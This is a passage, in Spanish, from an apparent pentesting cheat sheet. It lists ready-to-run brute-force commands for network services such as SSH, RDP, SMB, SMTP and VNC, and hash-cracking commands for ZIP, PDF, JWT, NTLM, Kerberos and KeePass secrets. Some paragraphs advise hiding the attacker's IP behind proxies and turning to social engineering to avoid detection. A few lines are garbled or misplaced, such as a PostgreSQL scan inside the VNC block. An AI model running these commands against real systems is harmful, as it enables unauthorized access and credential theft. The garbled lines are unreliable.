Para evitar ataques de fuerza bruta en PostgreSQL, se pueden tomar medidas como limitar el número de intentos de inicio de sesión, utilizar contraseñas seguras y utilizar autenticación de dos factores. También es importante mantener PostgreSQL actualizado con las últimas correcciones de seguridad.
|
||||
```bash
|
||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
|
||||
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
|
||||
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432
|
||||
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
|
||||
use auxiliary/scanner/postgres/postgres_login
|
||||
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
|
||||
```
|
||||
### PPTP
|
||||
|
||||
Puedes descargar el paquete `.deb` para instalar desde [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)
|
||||
```bash
|
||||
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
|
||||
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
|
||||
```
|
||||
### RDP
|
||||
|
||||
El Protocolo de Escritorio Remoto (RDP, por sus siglas en inglés) es un protocolo de red desarrollado por Microsoft que permite a los usuarios conectarse a un equipo remoto y utilizarlo como si estuvieran sentados frente a él. Los ataques de fuerza bruta contra RDP son comunes y pueden ser muy efectivos si se utilizan contraseñas débiles. Es importante asegurarse de que las contraseñas utilizadas para las conexiones RDP sean lo suficientemente fuertes y se cambien regularmente para evitar ataques exitosos.
|
||||
```bash
|
||||
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
|
||||
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
|
||||
```
|
||||
### Redis
|
||||
|
||||
Redis es una base de datos en memoria que se utiliza a menudo como caché y almacén de datos. Es muy popular en aplicaciones web y móviles debido a su alta velocidad y escalabilidad. Sin embargo, Redis también es vulnerable a ataques de fuerza bruta si no se configura correctamente.
|
||||
|
||||
Hay varias herramientas de fuerza bruta disponibles para Redis, como `redis-cli`, `redis-brute`, `redis-rdb-crack` y `redis-password-cracker`. Estas herramientas pueden probar contraseñas comunes o diccionarios de contraseñas contra una instancia de Redis para intentar obtener acceso no autorizado.
|
||||
|
||||
Para protegerse contra los ataques de fuerza bruta en Redis, es importante seguir las mejores prácticas de seguridad, como cambiar la contraseña predeterminada, limitar el acceso a la instancia de Redis y utilizar una lista blanca de direcciones IP autorizadas. También se recomienda utilizar una herramienta de monitoreo de seguridad para detectar y prevenir los ataques de fuerza bruta.
|
||||
```bash
|
||||
msf> use auxiliary/scanner/redis/redis_login
|
||||
nmap --script redis-brute -p 6379 <IP>
|
||||
hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
|
||||
```
|
||||
### Rexec
|
||||
|
||||
Rexec es un protocolo de red que permite a un usuario ejecutar comandos en un sistema remoto. Es similar a Telnet, pero se utiliza principalmente para ejecutar comandos en sistemas Unix. Rexec utiliza el puerto 512 y no proporciona cifrado, lo que lo hace vulnerable a ataques de sniffing. Los atacantes pueden utilizar herramientas de fuerza bruta para adivinar las credenciales de inicio de sesión y obtener acceso no autorizado al sistema remoto. Es importante utilizar contraseñas seguras y autenticación de dos factores para protegerse contra ataques de fuerza bruta.
|
||||
```bash
|
||||
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
|
||||
```
|
||||
### Rlogin
|
||||
|
||||
El protocolo Rlogin es un protocolo de red que proporciona acceso remoto a un shell de Unix. Es similar a Telnet, pero no proporciona cifrado de datos, lo que lo hace menos seguro. El protocolo Rlogin utiliza el puerto 513/tcp.
|
||||
|
||||
El ataque de fuerza bruta contra Rlogin implica intentar adivinar las credenciales de inicio de sesión de un usuario mediante la prueba de diferentes combinaciones de nombres de usuario y contraseñas. Esto se puede hacer utilizando herramientas como Hydra o Medusa. Es importante tener en cuenta que este ataque es ilegal y puede tener graves consecuencias legales.
|
||||
```bash
|
||||
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
|
||||
```
|
||||
### Rsh
|
||||
|
||||
Rsh (Remote Shell) es un protocolo de red que permite a los usuarios ejecutar comandos en un servidor remoto. Es similar a SSH, pero menos seguro ya que no utiliza cifrado para proteger la comunicación. Rsh se utiliza a menudo en entornos de red antiguos y no se recomienda su uso en la actualidad debido a sus vulnerabilidades de seguridad.
|
||||
|
||||
La técnica de fuerza bruta se puede utilizar para intentar adivinar las credenciales de inicio de sesión de Rsh. Esto se puede hacer utilizando herramientas como Hydra o Medusa. Sin embargo, dado que Rsh no utiliza cifrado, es posible que un atacante pueda interceptar las credenciales de inicio de sesión si se envían sin cifrar a través de la red. Por lo tanto, se recomienda encarecidamente no utilizar Rsh y, en su lugar, utilizar protocolos más seguros como SSH.
|
||||
```bash
|
||||
hydra -L <Username_list> rsh://<Victim_IP> -v -V
|
||||
```
|
||||
[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
|
||||
|
||||
### Rsync
|
||||
|
||||
Rsync es una herramienta de sincronización de archivos que se utiliza comúnmente en sistemas Unix. Es muy útil para sincronizar grandes cantidades de datos entre diferentes sistemas. Rsync utiliza el protocolo RSH (Remote Shell) para conectarse a sistemas remotos y transferir archivos. RSH es un protocolo inseguro que transmite información de autenticación en texto claro, lo que lo hace vulnerable a ataques de sniffing. Por lo tanto, es importante asegurarse de que RSH no esté habilitado en los sistemas que se están utilizando.
|
||||
```bash
|
||||
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
|
||||
```
|
||||
### RTSP
|
||||
|
||||
El Protocolo de Transmisión en Tiempo Real (RTSP, por sus siglas en inglés) es un protocolo de red utilizado para controlar la transmisión de medios en tiempo real, como audio y video. Es comúnmente utilizado en sistemas de vigilancia y cámaras IP para transmitir video en vivo. Los ataques de fuerza bruta contra servidores RTSP pueden ser utilizados para obtener acceso no autorizado a los sistemas de vigilancia y cámaras IP.
|
||||
```bash
|
||||
hydra -l root -P passwords.txt <IP> rtsp
|
||||
```
|
||||
### SNMP
|
||||
|
||||
SNMP (Simple Network Management Protocol) es un protocolo utilizado para administrar y supervisar dispositivos de red. Es comúnmente utilizado en dispositivos de red como routers, switches, servidores y firewalls. SNMP utiliza una estructura de datos jerárquica para organizar la información de administración de red.
|
||||
|
||||
Los atacantes pueden utilizar SNMP para obtener información sensible sobre la red, como nombres de host, direcciones IP y detalles de configuración. También pueden utilizar SNMP para realizar ataques de fuerza bruta contra contraseñas débiles o predeterminadas en dispositivos de red.
|
||||
|
||||
Para protegerse contra los ataques de fuerza bruta de SNMP, es importante utilizar contraseñas fuertes y personalizadas en los dispositivos de red. También se recomienda deshabilitar SNMP en los dispositivos que no lo necesitan y limitar el acceso a los dispositivos que lo utilizan.
|
||||
```bash
|
||||
msf> use auxiliary/scanner/snmp/snmp_login
|
||||
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
|
||||
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
|
||||
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
|
||||
```
|
||||
### SMB
|
||||
|
||||
El Protocolo de Bloques de Mensajes del Servidor (SMB, por sus siglas en inglés) es un protocolo de red utilizado para compartir archivos, impresoras y otros recursos entre nodos de una red. Es utilizado principalmente en sistemas operativos Windows, pero también puede ser utilizado en otros sistemas operativos.
|
||||
|
||||
#### Fuerza Bruta
|
||||
|
||||
La fuerza bruta en SMB se puede utilizar para intentar adivinar contraseñas de usuarios. Hay varias herramientas disponibles para realizar ataques de fuerza bruta en SMB, como Hydra y SMBMap.
|
||||
|
||||
Para realizar un ataque de fuerza bruta en SMB, primero se necesita una lista de posibles contraseñas. Luego, se utiliza una herramienta de fuerza bruta para intentar todas las combinaciones posibles de nombres de usuario y contraseñas hasta que se encuentre la correcta.
|
||||
|
||||
Es importante tener en cuenta que los ataques de fuerza bruta pueden ser detectados por los sistemas de seguridad y pueden llevar a la cuenta de usuario bloqueada o a la cuenta de atacante bloqueada. Por lo tanto, se recomienda utilizar técnicas de ataque más avanzadas y menos intrusivas, como la explotación de vulnerabilidades conocidas o la ingeniería social.
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
|
||||
```
|
||||
### SMTP
|
||||
|
||||
SMTP (Simple Mail Transfer Protocol) es un protocolo utilizado para enviar correos electrónicos a través de Internet. Los servidores SMTP autenticados suelen requerir credenciales de inicio de sesión válidas para enviar correos electrónicos.
|
||||
|
||||
#### Fuerza bruta
|
||||
|
||||
La fuerza bruta en los servidores SMTP se puede utilizar para adivinar credenciales de inicio de sesión válidas. Esto se puede hacer utilizando herramientas como Hydra o Medusa. También se pueden utilizar listas de contraseñas comunes para intentar adivinar la contraseña correcta.
|
||||
|
||||
Además, se puede intentar adivinar el nombre de usuario correcto utilizando técnicas de enumeración de usuarios. Esto se puede hacer utilizando herramientas como Metasploit o Nmap.
|
||||
|
||||
Es importante tener en cuenta que la fuerza bruta en los servidores SMTP puede ser detectada fácilmente por los sistemas de seguridad, por lo que se deben tomar medidas para evitar la detección, como limitar el número de intentos de inicio de sesión o utilizar proxies para ocultar la dirección IP del atacante.
|
||||
```bash
|
||||
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
|
||||
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
|
||||
```
|
||||
### SOCKS
|
||||
|
||||
SOCKS (Socket Secure) es un protocolo de red que permite a los usuarios de una red privada acceder a Internet de forma segura y anónima. SOCKS actúa como un intermediario entre el cliente y el servidor, permitiendo que el tráfico de red se enrute a través de un servidor proxy. Esto puede ser útil para ocultar la dirección IP del cliente y evitar la detección de actividades maliciosas. Los servidores SOCKS también pueden ser utilizados para eludir las restricciones de red, como los cortafuegos y los filtros de contenido.
|
||||
```bash
|
||||
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
|
||||
```
|
||||
### SSH
|
||||
|
||||
El protocolo SSH (Secure Shell) es un protocolo de red que permite a los usuarios conectarse y comunicarse de forma segura con un servidor remoto. SSH utiliza técnicas de cifrado para proteger la información transmitida y autenticación para garantizar que solo los usuarios autorizados puedan acceder al servidor.
|
||||
|
||||
El ataque de fuerza bruta contra SSH implica intentar adivinar la contraseña correcta para una cuenta de usuario mediante la prueba de diferentes combinaciones de contraseñas. Los atacantes pueden utilizar herramientas automatizadas para realizar este tipo de ataque. Para evitar este tipo de ataque, se recomienda utilizar contraseñas seguras y complejas, así como la autenticación de dos factores. También se puede limitar el número de intentos de inicio de sesión fallidos permitidos antes de bloquear la cuenta de usuario.
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> ssh
|
||||
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
|
||||
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
|
||||
patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
|
||||
```
|
||||
#### Claves SSH débiles / PRNG predecible de Debian
|
||||
Algunos sistemas tienen fallas conocidas en la semilla aleatoria utilizada para generar material criptográfico. Esto puede resultar en un espacio de claves dramáticamente reducido que puede ser atacado por fuerza bruta con herramientas como [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). También están disponibles conjuntos pregenerados de claves débiles, como [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
|
||||
### SQL Server
|
||||
```bash
|
||||
#Use the NetBIOS name of the machine as domain
|
||||
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssql
|
||||
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
|
||||
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
|
||||
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
|
||||
```
|
||||
### Telnet
|
||||
|
||||
Telnet es un protocolo de red que permite la comunicación bidireccional utilizando un canal virtual. Es utilizado principalmente para la administración remota de dispositivos de red a través de una conexión de red. Telnet es un protocolo sin cifrado, lo que significa que la información transmitida a través de Telnet no está protegida y puede ser interceptada por un atacante. Por lo tanto, es importante evitar el uso de Telnet para la administración remota y en su lugar utilizar protocolos seguros como SSH.
|
||||
|
||||
Sin embargo, en algunos casos, Telnet puede ser utilizado para realizar ataques de fuerza bruta contra servicios que utilizan este protocolo. En estos casos, se puede utilizar una herramienta de fuerza bruta como Hydra o Medusa para intentar adivinar las credenciales de acceso. Es importante tener en cuenta que este tipo de ataques son ilegales y pueden tener consecuencias graves.
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> telnet
|
||||
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
|
||||
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet
|
||||
```
|
||||
### VNC
|
||||
|
||||
VNC (Virtual Network Computing) es un protocolo que permite controlar remotamente un ordenador a través de una red. Es muy utilizado en entornos de soporte técnico y administración de sistemas.
|
||||
|
||||
El ataque de fuerza bruta contra VNC consiste en intentar adivinar la contraseña de acceso al servidor VNC. Para ello, se utilizan herramientas como Hydra o Medusa, que permiten automatizar el proceso de prueba de contraseñas.
|
||||
|
||||
Es importante tener en cuenta que, en muchos casos, los servidores VNC no están configurados de forma segura, lo que facilita el éxito del ataque de fuerza bruta. Por lo tanto, es recomendable utilizar contraseñas seguras y configurar adecuadamente el servidor VNC para evitar este tipo de ataques.
|
||||
```bash
|
||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
|
||||
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
|
||||
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
|
||||
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0
|
||||
use auxiliary/scanner/vnc/vnc_login
|
||||
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
|
||||
|
||||
#Metasploit
|
||||
use auxiliary/scanner/vnc/vnc_login
|
||||
set RHOSTS <ip>
|
||||
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
|
||||
```
|
||||
### Winrm
|
||||
|
||||
Winrm es un protocolo de administración remota de Windows que permite a los usuarios administrar y ejecutar comandos en sistemas remotos. Es similar a SSH en sistemas Unix y Linux. Winrm utiliza el puerto 5985 para conexiones HTTP y el puerto 5986 para conexiones HTTPS.
|
||||
|
||||
La autenticación en Winrm se puede realizar mediante credenciales de usuario o mediante certificados. Si se utiliza la autenticación basada en certificados, se debe tener en cuenta que el certificado debe ser válido y estar instalado en ambos sistemas, el local y el remoto.
|
||||
|
||||
Una técnica común de ataque en Winrm es la fuerza bruta de contraseñas. Los atacantes pueden utilizar herramientas como Hydra o Medusa para intentar adivinar las credenciales de usuario y contraseña. Para evitar este tipo de ataques, se recomienda utilizar contraseñas seguras y políticas de bloqueo de cuentas después de varios intentos fallidos de inicio de sesión.
|
||||
```bash
|
||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
```
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
Utilice [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtenga acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Local
|
||||
|
||||
### Bases de datos de cracking en línea
|
||||
|
||||
* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 y SHA1)
|
||||
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, capturas WPA2 y archivos MSOffice, ZIP, PDF...)
|
||||
* [https://crackstation.net/](https://crackstation.net) (Hashes)
|
||||
* [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
|
||||
* [https://gpuhash.me/](https://gpuhash.me) (Hashes y hashes de archivos)
|
||||
* [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes)
|
||||
* [https://www.cmd5.org/](https://www.cmd5.org) (Hashes)
|
||||
* [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
|
||||
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
|
||||
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
|
||||
|
||||
Revise esto antes de intentar hacer fuerza bruta a un Hash.
|
||||
|
||||
### ZIP
|
||||
```bash
|
||||
#sudo apt-get install fcrackzip
|
||||
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
|
||||
```
|
||||
|
||||
```bash
|
||||
zip2john file.zip > zip.john
|
||||
john zip.john
|
||||
```
|
||||
|
||||
```bash
|
||||
#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
|
||||
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
|
||||
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
|
||||
```
|
||||
#### Ataque de texto plano conocido en archivos zip
|
||||
|
||||
Es necesario conocer el **texto plano** (o parte del texto plano) **de un archivo contenido dentro** del archivo zip cifrado. Puedes verificar **los nombres y tamaños de los archivos contenidos dentro** de un archivo zip cifrado ejecutando: **`7z l encrypted.zip`**\
|
||||
Descarga [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) desde la página de lanzamientos.
|
||||
```bash
|
||||
# You need to create a zip file containing only the file that is inside the encrypted zip
|
||||
zip plaintext.zip plaintext.file
|
||||
|
||||
./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
|
||||
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
|
||||
# With that key you can create a new zip file with the content of encrypted.zip
|
||||
# but with a different pass that you set (so you can decrypt it)
|
||||
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
|
||||
unzip unlocked.zip #User new_pwd as password
|
||||
```
|
||||
### 7z
|
||||
```bash
|
||||
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
|
||||
```
|
||||
|
||||
```bash
|
||||
#Download and install requirements for 7z2john
|
||||
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
|
||||
apt-get install libcompress-raw-lzma-perl
|
||||
./7z2john.pl file.7z > 7zhash.john
|
||||
```
|
||||
### PDF
|
||||
|
||||
El formato de archivo PDF (Portable Document Format) es ampliamente utilizado para compartir documentos en línea. A menudo, estos documentos contienen información confidencial y pueden ser un objetivo atractivo para los atacantes. Los atacantes pueden intentar realizar ataques de fuerza bruta contra los archivos PDF protegidos con contraseña para obtener acceso no autorizado a la información contenida en ellos.
|
||||
|
||||
Los ataques de fuerza bruta contra archivos PDF protegidos con contraseña pueden realizarse utilizando herramientas como `pdfcrack` o `hashcat`. Estas herramientas intentan adivinar la contraseña probando diferentes combinaciones de caracteres hasta que se encuentra la correcta. Es importante tener en cuenta que cuanto más larga y compleja sea la contraseña, más difícil será para el atacante adivinarla.
|
||||
|
||||
Además, los atacantes también pueden intentar explotar vulnerabilidades en el software de lectura de PDF para obtener acceso no autorizado a la información contenida en los archivos. Por lo tanto, es importante mantener el software de lectura de PDF actualizado con las últimas actualizaciones de seguridad para reducir el riesgo de explotación de vulnerabilidades.
|
||||
```bash
|
||||
apt-get install pdfcrack
|
||||
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
|
||||
#pdf2john didn't work well, john didn't know which hash type was
|
||||
# To permanently decrypt the pdf
|
||||
sudo apt-get install qpdf
|
||||
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
|
||||
```
|
||||
### Contraseña de propietario de PDF
|
||||
|
||||
Para crackear una contraseña de propietario de PDF, revisa esto: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
|
||||
|
||||
### JWT
|
||||
```bash
|
||||
git clone https://github.com/Sjord/jwtcrack.git
|
||||
cd jwtcrack
|
||||
|
||||
#Bruteforce using crackjwt.py
|
||||
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
|
||||
|
||||
#Bruteforce using john
|
||||
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
|
||||
john jwt.john #It does not work with Kali-John
|
||||
```
|
||||
### Descifrado de NTLM
|
||||
```bash
|
||||
Format:USUARIO:ID:HASH_LM:HASH_NT:::
|
||||
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
|
||||
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
|
||||
```
|
||||
### Keepass
|
||||
|
||||
Keepass es un gestor de contraseñas de código abierto que permite almacenar y gestionar de forma segura contraseñas y otros datos sensibles. Utiliza una base de datos cifrada con una contraseña maestra para proteger la información almacenada. Keepass también cuenta con funciones de generación de contraseñas aleatorias y autocompletado de formularios web.
|
||||
```bash
|
||||
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
|
||||
keepass2john file.kdbx > hash #The keepass is only using password
|
||||
keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a file as a needed credential
|
||||
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
|
||||
john --wordlist=/usr/share/wordlists/rockyou.txt hash
|
||||
```
|
||||
### Keberoasting
|
||||
|
||||
Keberoasting es una técnica de ataque que aprovecha la debilidad de la encriptación Kerberos en entornos Windows para extraer contraseñas de usuarios con privilegios de cuenta de servicio. El atacante puede extraer los hashes de contraseñas de estas cuentas de servicio y luego utilizar herramientas de cracking para obtener las contraseñas en texto plano.
|
||||
|
||||
Para llevar a cabo un ataque de Keberoasting, el atacante necesita tener acceso a una cuenta de usuario con privilegios de cuenta de servicio en el dominio de Windows. Luego, el atacante utiliza una herramienta como "Rubeus" para extraer los hashes de contraseñas de las cuentas de servicio. Estos hashes se pueden guardar en un archivo y luego se pueden utilizar herramientas de cracking como "Hashcat" para obtener las contraseñas en texto plano.
|
||||
|
||||
Para prevenir un ataque de Keberoasting, se recomienda limitar el número de cuentas de servicio con privilegios en el dominio de Windows y asegurarse de que las contraseñas de estas cuentas sean lo suficientemente fuertes. También se puede implementar la autenticación multifactor para las cuentas de servicio con privilegios para aumentar la seguridad.
|
||||
```bash
|
||||
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
|
||||
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
|
||||
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
|
||||
```
|
||||
### Imagen de Lucks
|
||||
|
||||
#### Método 1
|
||||
|
||||
Instalar: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)
|
||||
```bash
|
||||
bruteforce-luks -f ./list.txt ./backup.img
|
||||
cryptsetup luksOpen backup.img mylucksopen
|
||||
ls /dev/mapper/ #You should find here the image mylucksopen
|
||||
mount /dev/mapper/mylucksopen /mnt
|
||||
```
|
||||
#### Método 2
|
||||
```bash
|
||||
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
|
||||
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
|
||||
hashcat -m 14600 -a 0 luckshash wordlists/rockyou.txt
|
||||
cryptsetup luksOpen backup.img mylucksopen
|
||||
ls /dev/mapper/ #You should find here the image mylucksopen
|
||||
mount /dev/mapper/mylucksopen /mnt
|
||||
```
|
||||
### Mysql
|
||||
|
||||
Mysql es un sistema de gestión de bases de datos relacional de código abierto muy popular. Es utilizado por muchas aplicaciones web y es una de las bases de datos más utilizadas en la web. Debido a su popularidad, es un objetivo común para los atacantes.
|
||||
|
||||
#### Fuerza bruta
|
||||
|
||||
La fuerza bruta es una técnica común utilizada para obtener acceso no autorizado a una base de datos Mysql. Consiste en probar todas las posibles combinaciones de contraseñas hasta encontrar la correcta. Es importante tener en cuenta que esta técnica puede ser muy lenta y puede requerir una gran cantidad de recursos.
|
||||
|
||||
#### Herramientas de fuerza bruta
|
||||
|
||||
Hay muchas herramientas de fuerza bruta disponibles para Mysql, como Hydra, Medusa y SQLMap. Estas herramientas pueden ser muy efectivas si se utilizan correctamente, pero también pueden ser peligrosas si se utilizan de manera incorrecta.
|
||||
|
||||
Es importante tener en cuenta que la fuerza bruta es ilegal y puede tener graves consecuencias legales. Por lo tanto, solo debe ser utilizada en sistemas que usted tiene permiso para probar.
|
||||
```bash
|
||||
#John hash format
|
||||
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
|
||||
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
|
||||
```
|
||||
### Clave privada PGP/GPG
|
||||
```bash
|
||||
gpg2john private_pgp.key #This will generate the hash and save it in a file
|
||||
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
|
||||
```
|
||||
### Cisco
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (239).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### DPAPI Master Key
|
||||
|
||||
Utilice [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) y luego john
|
||||
|
||||
### Columna protegida por contraseña en Open Office
|
||||
|
||||
Si tiene un archivo xlsx con una columna protegida por contraseña, puede desprotegerla:
|
||||
|
||||
* **Cárguelo en Google Drive** y la contraseña se eliminará automáticamente
|
||||
* Para **eliminarla manualmente**:
|
||||
```bash
|
||||
unzip file.xlsx
|
||||
grep -R "sheetProtection" ./*
|
||||
# Find something like: <sheetProtection algorithmName="SHA-512"
|
||||
hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
|
||||
# Remove that line and rezip the file
|
||||
zip -r file.xls .
|
||||
```
|
||||
### Certificados PFX
|
||||
```bash
|
||||
# From https://github.com/Ridter/p12tool
|
||||
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
|
||||
# From https://github.com/crackpkcs12/crackpkcs12
|
||||
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
|
||||
```
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Obtenga acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Herramientas
|
||||
|
||||
**Ejemplos de hash:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
|
||||
|
||||
### Hash-identifier
|
||||
```bash
|
||||
hash-identifier
|
||||
> <HASH>
|
||||
```
|
||||
### Listas de palabras
|
||||
|
||||
* **Rockyou**
|
||||
* [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists)
|
||||
* [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists)
|
||||
* [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords)
|
||||
|
||||
### **Herramientas de generación de listas de palabras**
|
||||
|
||||
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Generador avanzado de teclado con caracteres base configurables, mapa de teclas y rutas.
|
||||
```bash
|
||||
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
|
||||
```
|
||||
### Mutación de John
|
